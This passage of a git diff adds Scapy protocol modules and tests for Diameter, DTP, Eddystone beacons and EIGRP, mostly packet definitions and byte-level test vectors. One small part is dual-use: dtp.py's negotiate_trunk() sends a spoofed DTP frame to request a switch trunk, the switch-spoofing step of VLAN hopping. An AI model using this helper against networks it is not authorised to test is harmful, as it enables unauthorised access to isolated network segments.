for k, f in DR_cmd_def.items(): + if f[fpos][:len( + cmd)] == cmd: # Accept only a prefix of the full name + drCode = k + params = f + break + if not drCode: + warning( + 'Diameter command with name %s not found in DR_cmd_def dictionary.' % # noqa: E501 + cmd) + return (fields, 'Unknown') + # The drCode is set/overridden in any case + fields['drCode'] = drCode + # Processing of drAppId + if 'drAppId' in fields: + val = fields['drAppId'] + if isinstance(val, str): # Translate into application Id code + found = False + for k, v in six.iteritems(AppIDsEnum): + if v.find(val) != -1: + drAppId = k + fields['drAppId'] = drAppId + found = True + break + if not found: + del(fields['drAppId']) + warning( + 'Application ID with name %s not found in AppIDsEnum dictionary.' % # noqa: E501 + val) + return (fields, 'Unknown') + else: # Assume type is int + drAppId = val + else: # Application Id shall be taken from the params found based on cmd + drAppId = next(iter(params[2])) # The first record is taken + fields['drAppId'] = drAppId + # Set the command name + name = request and params[0] + '-Request' or params[0] + '-Answer' + # Processing of flags (only if not provided manually) + if 'drFlags' not in fields: + if drAppId in params[2]: + flags = params[2][drAppId] + fields['drFlags'] = request and flags[0] or flags[1] + return (fields, name) + + +def DiamReq(cmd, **fields): + """Craft Diameter request commands""" + upfields, name = getCmdParams(cmd, True, **fields) + p = DiamG(**upfields) + p.name = name + return p + + +def DiamAns(cmd, **fields): + """Craft Diameter answer commands""" + upfields, name = getCmdParams(cmd, False, **fields) + p = DiamG(**upfields) + p.name = name + return p + +# Binding +####################################### + + +bind_layers(TCP, DiamG, dport=3868) +bind_layers(TCP, DiamG, sport=3868) +bind_layers(SCTPChunkData, DiamG, dport=3868) +bind_layers(SCTPChunkData, DiamG, sport=3868) +bind_layers(SCTPChunkData, DiamG, proto_id=46) +bind_layers(SCTPChunkData, DiamG, proto_id=47) diff --git a/libs/scapy/contrib/diameter.uts b/libs/scapy/contrib/diameter.uts new file mode 100755 index 0000000..e06a055 --- /dev/null +++ b/libs/scapy/contrib/diameter.uts @@ -0,0 +1,255 @@ +# UTscapy syntax is explained here: http://www.secdev.org/projects/UTscapy/ + +# original author: patrick battistello + +% Validation of Diameter layer + + +####################################################################### ++ Different ways of building basic AVPs +####################################################################### + += AVP identified by full name +a1 = AVP ('High-User-Priority', val=15) +a1.show() +raw(a1) == b'\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f' + += Same AVP identified by the beginning of the name +a1b = AVP ('High-U', val=15) +a1b.show() +raw(a1b) == raw(a1) + += Same AVP identified by its code +a1c = AVP (559, val=15) +a1c.show() +raw(a1c) == raw(a1) + += The Session-Id AVP (with some padding added) +a2 = AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587') +a2.show() +raw(a2) == b'\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00' + += An enumerated AVP +a3 = AVP ('Auth-Session-State', val='NO_STATE_MAINTAINED') +a3.show() +raw(a3) == b'\x00\x00\x01\x15@\x00\x00\x0c\x00\x00\x00\x01' + += An address AVP +a4v4 = AVP("CG-Address", val='192.168.0.1') +a4v4.show() +raw(a4v4) == b'\x00\x00\x03N\xc0\x00\x00\x12\x00\x00(\xaf\x00\x01\xc0\xa8\x00\x01\x00\x00' + +a4v6 = AVP("CG-Address", val='::1') +a4v6.show() +raw(a4v6) == b'\x00\x00\x03N\xc0\x00\x00\x1e\x00\x00(\xaf\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' + +a4error = AVP("CG-Address", val="unknown") +a4error.show() +assert raw(a4error) == raw(AVP("CG-Address")) + += A time AVP +a5 = AVP("Expiry-Time") +a5.show() +assert not a5.val + += An empty Auth App ID AVP +a6 = AVP("Auth-Application-Id") +a6.show() +raw(a6) == b'\x00\x00\x01\x02@\x00\x00\x0c\x00\x00\x00\x00' + += An ISDN AVP +a7 = AVP("MSISDN", val="101") +a7.show() +raw(a7) == b'\x00\x00\x02\xbd\xc0\x00\x00\x0e\x00\x00(\xaf\x01\xf1\x00\x00' + += Some OctetString AVPs +a8 = AVP("Authorization-Token", val="test") +a8.show() +assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x10\x00\x00(\xaftest' + +a8 = AVP("Authorization-Token", val=b"test\xc3\xa9") +a8.show() +assert a8.val == b"test\xc3\xa9" +assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x12\x00\x00(\xaftest\xc3\xa9\x00\x00' + += Unknown AVP identifier + +a9 = AVP("wrong") +assert not a9 + + +####################################################################### ++ AVPs with vendor field +####################################################################### + += Vendor AVP identified by full name +a4 = AVP ('Feature-List-ID', val=1) +a4.show() +raw(a4) == b'\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01' + += Same AVP identified by its code and vendor ID +* This time a list is required as first argument +a4c = AVP ( [629, 10415], val=1) +raw(a4c) == raw(a4) + + +####################################################################### ++ Altering the AVPs default provided values +####################################################################### + += Altering the flags of the Origin-Host AVP +a5 = AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') +a5.show() +raw(a5) == b'\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00' + += Altering the length of the Destination-Realm AVP +a6 = AVP (283, avpLen=33, val='foreign.realm1.fr') +a6.show() +raw(a6) == b'\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' + += Altering the vendor of the Public-Identity AVP, and hence the flags ... +a7 = AVP ( [601, 98765432], val = 'sip:+0123456789@aaa.test.orange.fr') +a7.show() +raw(a7) == b'\x00\x00\x02Y\x80\x00\x00.\x05\xe3\nxsip:+0123456789@aaa.test.orange.fr\x00\x00' + + +####################################################################### ++ Grouped AVPs +####################################################################### + += The Supported-Features AVP (with vendor) +a8 = AVP ('Supported-Features') +a8.val.append(a1) +a8.val.append(a5) +a8.show() +raw(a8) == b'\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00' + += The same AVP created more simply +a8b = AVP ('Supported-Features', val = [a1, a5]) +raw(a8b) == raw(a8) + += (re)Building the previous AVP from scratch +a8c = AVP ('Supported-Features', val = [ + AVP ('High-User-Priority', val=15), + AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ]) +raw(a8c) == raw(a8) + += Another (dummy) grouped AVP +a9 = AVP (297, val = [a2, a4, a6]) +a9.show() +raw(a9) == b'\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' + += A grouped AVP inside another grouped AVP +a10 = AVP ('Server-Cap', val = [a1, a9]) +a10.show() +raw(a10) == b'\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' + += A big grouped AVP +a11 = AVP ('SIP-Auth', val = [a2, a4, a8, a10]) +a11.show() +raw(a11) == b'\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' + += Dissect grouped AVP + +a12 = DiamG(b'\x01\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xbd\xc0\x00\x00\r\x00\x00(\xaf\x01') +assert isinstance(a12.avpList[0], AVP_10415_701) +assert "MSISDN" in a12.avpList[0].name + +####################################################################### ++ Diameter Requests (without AVPs) +####################################################################### + += A simple request identified by its name +r1 = DiamReq ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678) +r1.show() +raw(r1) == b'\x01\x00\x00\x14\x80\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.' + += Unknown request by its name +ur = DiamReq ('Unknown') +raw(ur) == b'\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += The same one identified by its code +r1b = DiamReq (257, drHbHId=1234, drEtEId=5678) +raw(r1b) == raw(r1) + += Unknown request by its code +ur = DiamReq (0) +raw(ur) == b'\x01\x00\x00\x14\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += The same one identified by its abbreviation +* Only the first 2 abbreviation letters are significant (although 3 are provided in this example) +r1c = DiamReq ('CER', drHbHId=1234, drEtEId=5678) +raw(r1c) == raw(r1) + += Altering the request default fields +r2 = DiamReq ('CER', drHbHId=1234, drEtEId=5678, drFlags=179, drAppId=978, drLen=12) +r2.show() +raw(r2) == b'\x01\x00\x00\x0c\xb3\x00\x01\x01\x00\x00\x03\xd2\x00\x00\x04\xd2\x00\x00\x16.' + += Altering the default request fields with string +r2b = DiamReq ('CER', drAppId="1") +r2b.show() +raw(r2b) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x01\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00' + += Altering the default request fields with invalid string +r2be = DiamReq ('CER', drAppId="-1") +r2be.show() +raw(r2be) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + +####################################################################### ++ Diameter Answers (without AVPs) +####################################################################### + += A simple answer identified by its name +ans1 = DiamAns ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678) +ans1.show() +raw(ans1) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.' + += Same answer identified by its code or abbreviation +ans1b = DiamAns (257, drHbHId=1234, drEtEId=5678) +ans1c = DiamAns ('CEA', drHbHId=1234, drEtEId=5678) +a = raw(ans1b) == raw(ans1) +b = raw(ans1c) == raw(ans1) +a, b +assert a and b + += Altering the answer default fields +ans2 = DiamAns ('CEA', drHbHId=1234, drEtEId=5678, drFlags=115, drAppId=1154, drLen=18) +ans2.show() +raw(ans2) == b'\x01\x00\x00\x12s\x00\x01\x01\x00\x00\x04\x82\x00\x00\x04\xd2\x00\x00\x16.' + + +####################################################################### ++ Full Diameter messages +####################################################################### + += A dummy Multimedia-Auth request (identified by only a portion of its name) +r3 = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [a11]) +r3.show() +raw(r3) == b'\x01\x00\x01\x04\xc0\x00\x01\x1e\x00\x00\x00\x06\x00\x00Tx\x00\x00\x124\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' + + += The same request built from scratch +r3b = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, + avpList = [ + AVP ('SIP-Auth', val = [ + AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'), + AVP ('Feature-List-ID', val=1), + AVP ('Supported-Features', val = [ + AVP ('High-User-Priority', val=15), + AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') + ]), + AVP ('Server-Cap', val = [ + AVP ('High-User-Priority', val=15), + AVP (297, val = [ + AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'), + AVP ('Feature-List-ID', val=1), + AVP (283, avpLen=33, val='foreign.realm1.fr') + ]) + ]) + ]) + ]) + +raw(r3b) == raw(r3) + diff --git a/libs/scapy/contrib/dtp.py b/libs/scapy/contrib/dtp.py new file mode 100755 index 0000000..310a5d8 --- /dev/null +++ b/libs/scapy/contrib/dtp.py @@ -0,0 +1,116 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Dynamic Trunking Protocol (DTP) +# scapy.contrib.status = loads + +""" + DTP Scapy Extension + ~~~~~~~~~~~~~~~~~~~ + + :version: 2008-12-22 + :author: Jochen Bartl + + :Thanks: + + - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) # noqa: E501 +""" + +from __future__ import absolute_import +from __future__ import print_function +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteField, FieldLenField, MACField, PacketListField, \ + ShortField, StrLenField, XShortField +from scapy.layers.l2 import SNAP, Dot3, LLC +from scapy.sendrecv import sendp +from scapy.config import conf +from scapy.volatile import RandMAC + + +class DtpGenericTlv(Packet): + name = "DTP Generic TLV" + fields_desc = [XShortField("type", 0x0001), + FieldLenField("length", None, length_of=lambda pkt:pkt.value + 4), # noqa: E501 + StrLenField("value", "", length_from=lambda pkt:pkt.length - 4) # noqa: E501 + ] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 2: + t = struct.unpack("!H", _pkt[:2])[0] + cls = _DTP_TLV_CLS.get(t, "DtpGenericTlv") + return cls + + def guess_payload_class(self, p): + return conf.padding_layer + + +class DTPDomain(DtpGenericTlv): + name = "DTP Domain" + fields_desc = [ShortField("type", 1), + FieldLenField("length", None, "domain", adjust=lambda pkt, x:x + 4), # noqa: E501 + StrLenField("domain", b"\x00", length_from=lambda pkt:pkt.length - 4) # noqa: E501 + ] + + +class DTPStatus(DtpGenericTlv): + name = "DTP Status" + fields_desc = [ShortField("type", 2), + FieldLenField("length", None, "status", adjust=lambda pkt, x:x + 4), # noqa: E501 + StrLenField("status", b"\x03", length_from=lambda pkt:pkt.length - 4) # noqa: E501 + ] + + +class DTPType(DtpGenericTlv): + name = "DTP Type" + fields_desc = [ShortField("type", 3), + FieldLenField("length", None, "dtptype", adjust=lambda pkt, x:x + 4), # noqa: E501 + StrLenField("dtptype", b"\xa5", length_from=lambda pkt:pkt.length - 4) # noqa: E501 + ] + + +class DTPNeighbor(DtpGenericTlv): + name = "DTP Neighbor" + fields_desc = [ShortField("type", 4), + # FieldLenField("length", None, "neighbor", adjust=lambda pkt,x:x + 4), # noqa: E501 + ShortField("len", 10), + MACField("neighbor", None) + ] + + +_DTP_TLV_CLS = { + 0x0001: DTPDomain, + 0x0002: DTPStatus, + 0x0003: DTPType, + 0x0004: DTPNeighbor +} + + +class DTP(Packet): + name = "DTP" + fields_desc = [ByteField("ver", 1), + PacketListField("tlvlist", [], DtpGenericTlv)] + + +bind_layers(SNAP, DTP, code=0x2004, OUI=0xc) + + +def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())): + print("Trying to negotiate a trunk on interface %s" % iface) + p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc") / LLC() + p /= SNAP() + p /= DTP(tlvlist=[DTPDomain(), DTPStatus(), DTPType(), DTPNeighbor(neighbor=mymac)]) # noqa: E501 + sendp(p) diff --git a/libs/scapy/contrib/dtp.uts b/libs/scapy/contrib/dtp.uts new file mode 100755 index 0000000..c8880f1 --- /dev/null +++ b/libs/scapy/contrib/dtp.uts @@ -0,0 +1,31 @@ ++ DTP Contrib tests + += Basic DTP build + +pkt = DTP(tlvlist=[DTPNeighbor(neighbor='00:11:22:33:44:55'), DTPDomain(domain=b"\x01\x02\x03")]) +assert raw(pkt) == b'\x01\x00\x04\x00\n\x00\x11"3DU\x00\x01\x00\x07\x01\x02\x03' + += Basic DTP dissection + +pkt = Ether(b'\x01\x00\x0c\xcc\xcc\xcc\xd0P\x99V\xdd\xf9\x00"\xaa\xaa\x03\x00\x00\x0c \x04\x01\x00\x03\x00\x05\xa5\x00\x04\x00\n\xaa\xbb\xcc\xdd\xee\xff\x00\x01\x00\x05\x00\x00\x02\x00\x05\x03') +assert DTP in pkt +assert pkt[DTP].tlvlist[0].dtptype == b'\xa5' +assert pkt[DTP].tlvlist[1].neighbor == 'aa:bb:cc:dd:ee:ff' +assert pkt[DTP].tlvlist[2].domain == b'\x00' +assert pkt[DTP].tlvlist[3].status == b'\x03' + += Test negotiate_trunk + +import mock + +def test_pkt(pkt): + pkt = Ether(raw(pkt)) + assert DTP in pkt + assert len(pkt[DTP].tlvlist) == 4 + print("Succeed") + +@mock.patch("scapy.contrib.dtp.sendp", side_effect=test_pkt) +def _test_negotiate_trunk(m): + negotiate_trunk() + +_test_negotiate_trunk() diff --git a/libs/scapy/contrib/eddystone.py b/libs/scapy/contrib/eddystone.py new file mode 100755 index 0000000..0c90c3f --- /dev/null +++ b/libs/scapy/contrib/eddystone.py @@ -0,0 +1,245 @@ +# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- +# eddystone.py - protocol handlers for Eddystone beacons +# +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Michael Farrell +# This program is published under a GPLv2 (or later) license +# +# scapy.contrib.description = Eddystone BLE proximity beacon +# scapy.contrib.status = loads +""" +scapy.contrib.eddystone - Google Eddystone Bluetooth LE proximity beacons. + +The Eddystone specification can be found at: +https://github.com/google/eddystone/blob/master/protocol-specification.md + +These beacons are used as building blocks for other systems: + +* Google's Physical Web +* RuuviTag +* Waze Beacons + +""" + +from scapy.compat import orb +from scapy.fields import IntField, SignedByteField, StrField, BitField, \ + StrFixedLenField, ShortField, FixedPointField, ByteEnumField +from scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \ + EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper +from scapy.modules import six +from scapy.packet import bind_layers, Packet + +EDDYSTONE_UUID = 0xfeaa + +EDDYSTONE_URL_SCHEMES = { + 0: b"http://www.", + 1: b"https://www.", + 2: b"http://", + 3: b"https://", +} + +EDDYSTONE_URL_TABLE = { + 0: b".com/", + 1: b".org/", + 2: b".edu/", + 3: b".net/", + 4: b".info/", + 5: b".biz/", + 6: b".gov/", + 7: b".com", + 8: b".org", + 9: b".edu", + 10: b".net", + 11: b".info", + 12: b".biz", + 13: b".gov", +} + + +class EddystoneURLField(StrField): + # https://github.com/google/eddystone/tree/master/eddystone-url#eddystone-url-http-url-encoding + def i2m(self, pkt, x): + if x is None: + return b"" + + o = bytearray() + p = 0 + while p < len(x): + c = orb(x[p]) + if c == 46: # "." + for k, v in EDDYSTONE_URL_TABLE.items(): + if x.startswith(v, p): + o.append(k) + p += len(v) - 1 + break + else: + o.append(c) + else: + o.append(c) + p += 1 + + # Make the output immutable. + return bytes(o) + + def m2i(self, pkt, x): + if not x: + return None + + o = bytearray() + for c in x: + i = orb(c) + r = EDDYSTONE_URL_TABLE.get(i) + if r is None: + o.append(i) + else: + o.extend(r) + return bytes(o) + + def any2i(self, pkt, x): + if isinstance(x, six.text_type): + x = x.encode("ascii") + return x + + +class Eddystone_Frame(Packet, LowEnergyBeaconHelper): + """ + The base Eddystone frame on which all Eddystone messages are built. + + https://github.com/google/eddystone/blob/master/protocol-specification.md + """ + name = "Eddystone Frame" + fields_desc = [ + BitField("type", None, 4), + BitField("reserved", 0, 4), + ] + + def build_eir(self): + """Builds a list of EIR messages to wrap this frame.""" + + return LowEnergyBeaconHelper.base_eir + [ + EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[ + EDDYSTONE_UUID]), + EIR_Hdr() / EIR_ServiceData16BitUUID() / self + ] + + +class Eddystone_UID(Packet): + """ + An Eddystone type for transmitting a unique identifier. + + https://github.com/google/eddystone/tree/master/eddystone-uid + """ + name = "Eddystone UID" + fields_desc = [ + SignedByteField("tx_power", 0), + StrFixedLenField("namespace", None, 10), + StrFixedLenField("instance", None, 6), + StrFixedLenField("reserved", None, 2), + ] + + +class Eddystone_URL(Packet): + """ + An Eddystone type for transmitting a URL (to a web page). + + https://github.com/google/eddystone/tree/master/eddystone-url + """ + name = "Eddystone URL" + fields_desc = [ + SignedByteField("tx_power", 0), + ByteEnumField("url_scheme", 0, EDDYSTONE_URL_SCHEMES), + EddystoneURLField("url", None), + ] + + def to_url(self): + return EDDYSTONE_URL_SCHEMES[self.url_scheme] + self.url + + @staticmethod + def from_url(url): + """Creates an Eddystone_Frame with a Eddystone_URL for a given URL.""" + url = url.encode('ascii') + scheme = None + for k, v in EDDYSTONE_URL_SCHEMES.items(): + if url.startswith(v): + scheme = k + url = url[len(v):] + break + else: + raise Exception("URLs must start with EDDYSTONE_URL_SCHEMES") + + return Eddystone_Frame() / Eddystone_URL( + url_scheme=scheme, + url=url) + + +class Eddystone_TLM(Packet): + """ + An Eddystone type for transmitting beacon telemetry information. + + https://github.com/google/eddystone/tree/master/eddystone-tlm + """ + name = "Eddystone TLM" + fields_desc = [ + ByteEnumField("version", None, { + 0: "unencrypted", + 1: "encrypted", + }), + ] + + +class Eddystone_TLM_Unencrypted(Packet): + """ + A subtype of Eddystone-TLM for transmitting telemetry in unencrypted form. + + https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-plain.md + """ + name = "Eddystone TLM (Unencrypted)" + fields_desc = [ + ShortField("batt_mv", 0), + FixedPointField("temperature", -128, 16, 8), + IntField("adv_cnt", None), + IntField("sec_cnt", None), + ] + + +class Eddystone_TLM_Encrypted(Packet): + """ + A subtype of Eddystone-TLM for transmitting telemetry in encrypted form. + + This implementation does not support decrypting this data. + + https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-encrypted.md + """ + name = "Eddystone TLM (Encrypted)" + fields_desc = [ + StrFixedLenField("etlm", None, 12), + StrFixedLenField("salt", None, 2), + StrFixedLenField("mic", None, 2), + ] + + +class Eddystone_EID(Packet): + """ + An Eddystone type for transmitting encrypted, ephemeral identifiers. + + This implementation does not support decrypting this data. + + https://github.com/google/eddystone/tree/master/eddystone-eid + """ + name = "Eddystone EID" + fields_desc = [ + SignedByteField("tx_power", 0), + StrFixedLenField("eid", None, 8), + ] + + +bind_layers(Eddystone_TLM, Eddystone_TLM_Unencrypted, version=0) +bind_layers(Eddystone_TLM, Eddystone_TLM_Encrypted, version=1) + +bind_layers(Eddystone_Frame, Eddystone_UID, type=0) +bind_layers(Eddystone_Frame, Eddystone_URL, type=1) +bind_layers(Eddystone_Frame, Eddystone_TLM, type=2) +bind_layers(Eddystone_Frame, Eddystone_EID, type=3) + +bind_layers(EIR_ServiceData16BitUUID, Eddystone_Frame, svc_uuid=EDDYSTONE_UUID) diff --git a/libs/scapy/contrib/eddystone.uts b/libs/scapy/contrib/eddystone.uts new file mode 100755 index 0000000..015faee --- /dev/null +++ b/libs/scapy/contrib/eddystone.uts @@ -0,0 +1,54 @@ +# Eddystone unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('eddystone')" -t scapy/contrib/eddystone.uts + ++ Eddystone tests + += Setup + +def expect_exception(e, c): + try: + c() + return False + except e: + return True + += Eddystone URL (decode EIR) + +d = hex_bytes('0c16aafe10040373636170790a') +p = EIR_Hdr(d) +p.show() + +assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa +assert p[Eddystone_URL].to_url() == b'https://scapy.net' + += Eddystone URL (decode LE Set Advertising Data) + +d = hex_bytes('01082020140201020303aafe0c16aafe10040373636170790a0000000000000000000000') +p = HCI_Hdr(d) + +assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa +assert p[Eddystone_URL].to_url() == b'https://scapy.net' + += Eddystone URL (encode frames) + +d = raw(Eddystone_URL.from_url('https://scapy.net')) +assert d == hex_bytes('10000373636170790a') + +d = raw(Eddystone_URL.from_url('https://www.scapy.net')) +assert d == hex_bytes('10000173636170790a') + +# Include some other .extensions in the path +d = raw(Eddystone_URL.from_url('http://www.example.com/hello.info.html')) +assert d == hex_bytes('1000006578616d706c650068656c6c6f0b2e68746d6c') + += Eddystone URL (encode unsupported scheme) + +assert(expect_exception(Exception, lambda: Eddystone_URL.from_url('gopher://example.com'))) + += Eddystone URL (encode advertising report) + +p = Eddystone_URL.from_url('https://scapy.net').build_advertising_report() +assert raw(p[EIR_ServiceData16BitUUID]) == hex_bytes('aafe10000373636170790a') + diff --git a/libs/scapy/contrib/eigrp.py b/libs/scapy/contrib/eigrp.py new file mode 100755 index 0000000..13932df --- /dev/null +++ b/libs/scapy/contrib/eigrp.py @@ -0,0 +1,527 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Enhanced Interior Gateway Routing Protocol (EIGRP) +# scapy.contrib.status = loads + +""" + EIGRP Scapy Extension + ~~~~~~~~~~~~~~~~~~~~~ + + :version: 2009-08-13 + :copyright: 2009 by Jochen Bartl + :e-mail: lobo@c3a.de / jochen.bartl@gmail.com + :license: GPL v2 + + :TODO + + - Replace TLV code with a more generic solution + * http://trac.secdev.org/scapy/ticket/90 + - Write function for calculating authentication data + + :Known bugs: + + - + + :Thanks: + + - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) + http://trac.secdev.org/scapy/ticket/18 + - IOS / EIGRP Version Representation FIX by Dirk Loss +""" +from __future__ import absolute_import +import socket +import struct + +from scapy.packet import Packet +from scapy.fields import StrField, IPField, XShortField, FieldLenField, \ + StrLenField, IntField, ByteEnumField, ByteField, ConditionalField, \ + FlagsField, IP6Field, PacketField, PacketListField, ShortEnumField, \ + ShortField, StrFixedLenField, ThreeBytesField +from scapy.layers.inet import IP, checksum, bind_layers +from scapy.layers.inet6 import IPv6 +from scapy.compat import chb, raw +from scapy.config import conf +from scapy.utils import inet_aton, inet_ntoa +from scapy.pton_ntop import inet_ntop, inet_pton +from scapy.error import warning, Scapy_Exception +from scapy.volatile import RandShort, RandString + + +class EigrpIPField(StrField, IPField): + """ + This is a special field type for handling ip addresses of destination networks in internal and + external route updates. + + EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits. + """ + + __slots__ = ["length_from"] + + def __init__(self, name, default, length=None, length_from=None): + StrField.__init__(self, name, default) + self.length_from = length_from + if length is not None: + self.length_from = lambda pkt, length=length: length + + def h2i(self, pkt, x): + return IPField.h2i(self, pkt, x) + + def i2m(self, pkt, x): + x = inet_aton(x) + tmp_len = self.length_from(pkt) + + if tmp_len <= 8: + return x[:1] + elif tmp_len <= 16: + return x[:2] + elif tmp_len <= 24: + return x[:3] + else: + return x + + def m2i(self, pkt, x): + tmp_len = self.length_from(pkt) + + if tmp_len <= 8: + x += b"\x00\x00\x00" + elif tmp_len <= 16: + x += b"\x00\x00" + elif tmp_len <= 24: + x += b"\x00" + + return inet_ntoa(x) + + def prefixlen_to_bytelen(self, tmp_len): + if tmp_len <= 8: + tmp_len = 1 + elif tmp_len <= 16: + tmp_len = 2 + elif tmp_len <= 24: + tmp_len = 3 + else: + tmp_len = 4 + + return tmp_len + + def i2len(self, pkt, x): + tmp_len = self.length_from(pkt) + tmp_len = self.prefixlen_to_bytelen(tmp_len) + return tmp_len + + def getfield(self, pkt, s): + tmp_len = self.length_from(pkt) + tmp_len = self.prefixlen_to_bytelen(tmp_len) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def randval(self): + return IPField.randval(self) + + +class EigrpIP6Field(StrField, IP6Field): + """ + This is a special field type for handling ip addresses of destination networks in internal and + external route updates. + + """ + + __slots__ = ["length_from"] + + def __init__(self, name, default, length=None, length_from=None): + StrField.__init__(self, name, default) + self.length_from = length_from + if length is not None: + self.length_from = lambda pkt, length=length: length + + def any2i(self, pkt, x): + return IP6Field.any2i(self, pkt, x) + + def i2repr(self, pkt, x): + return IP6Field.i2repr(self, pkt, x) + + def h2i(self, 